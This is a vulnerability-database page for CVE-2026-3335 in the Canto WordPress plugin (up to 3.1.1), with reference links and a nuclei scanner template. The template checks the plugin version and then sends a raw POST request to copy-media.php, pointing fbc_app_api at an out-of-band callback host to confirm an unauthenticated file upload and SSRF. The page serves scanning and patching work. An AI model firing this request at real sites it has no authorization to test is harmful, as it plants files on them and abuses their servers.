Lucene search
+L

Canto <= 3.1.1 - Missing Authorization to Unauthenticated File Upload

🗓️ 28 Jul 2026 10:44:04Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 3 Views

Canto plugin for WordPress <=3.1.1 allows unauthenticated file uploads and server fetch abuse via fbc_app_api.

Related
Refs
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-3335
21 Mar 202603:26
attackerkb
CNNVD
WordPress plugin Canto 安全漏洞
21 Mar 202600:00
cnnvd
CVE
CVE-2026-3335
21 Mar 202603:26
cve
Cvelist
CVE-2026-3335 Canto <= 3.1.1 - Missing Authorization to Unauthenticated File Upload
21 Mar 202603:26
cvelist
EUVD
EUVD-2026-14013
24 Mar 202619:39
euvd
NVD
CVE-2026-3335
21 Mar 202604:17
nvd
Patchstack
WordPress Canto plugin <= 3.1.1 - Missing Authorization to Unauthenticated File Upload vulnerability
23 Mar 202618:28
patchstack
Positive Technologies
PT-2026-26851
21 Mar 202600:00
ptsecurity
RedhatCVE
CVE-2026-3335
26 Mar 202615:12
redhatcve
Vulnrichment
CVE-2026-3335 Canto <= 3.1.1 - Missing Authorization to Unauthenticated File Upload
21 Mar 202603:26
vulnrichment
Rows per page
id: CVE-2026-3335

info:
  name: Canto <= 3.1.1 - Missing Authorization to Unauthenticated File Upload
  author: iamatownboy
  severity: medium
  description: |
    The Canto plugin for WordPress is vulnerable to missing authorization in the copy-media.php upload flow.
    The file is directly accessible and accepts attacker-controlled parameters for the upload destination, allowing unauthenticated users to upload arbitrary files constrained to WordPress-allowed MIME types.
    The fbc_app_api parameter controls the domain WordPress fetches from via wp_safe_remote_get, enabling SSRF to attacker-controlled infrastructure.
  impact: |
    Unauthenticated attackers can upload files into the WordPress media library by pointing the server-side fetch at an attacker-controlled Canto API. This also enables SSRF via the fbc_app_api parameter.
  remediation: |
    Update Canto to version 3.1.2 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-3335
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/0777f759-6980-4572-a866-0210bd5f5085?source=cve
    - https://plugins.trac.wordpress.org/browser/canto/tags/3.1.1/includes/lib/copy-media.php#L71
    - https://plugins.trac.wordpress.org/browser/canto/tags/3.1.1/includes/lib/copy-media.php#L152
    - https://plugins.trac.wordpress.org/browser/canto/tags/3.1.1/includes/lib/copy-media.php#L306
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-3335
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 2
    vendor: flightbycanto
    product: canto
    framework: wordpress
    publicwww-query: "/wp-content/plugins/canto/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,canto,missing-auth,unauth,file-upload,ssrf,oast

variables:
  token: "{{rand_text_alpha(10)}}"

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/canto/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - contains(body, "Canto")
          - compare_versions(version, "<= 3.1.1")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        POST /wp-content/plugins/canto/includes/lib/copy-media.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/

        fbc_id={{token}}&fbc_scheme=image&fbc_flight_domain={{token}}&fbc_app_api={{interactsh-url}}&fbc_app_token={{token}}&chromeless=1

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: attachment
        part: body
        group: 1
        regex:
          - '"attachment_id":(\d+)'
# digest: 4b0a00483046022100d9e078433870d6c04db3a1e8704272d7ade523325352b3f11d17477ed7cb39a5022100d89c5a8ad6e5ad0c209207303730bd07bf357348eab1bc365179fddac05da06d:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Jul 2026 10:42Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.15.3
EPSS0.00437
SSVC
3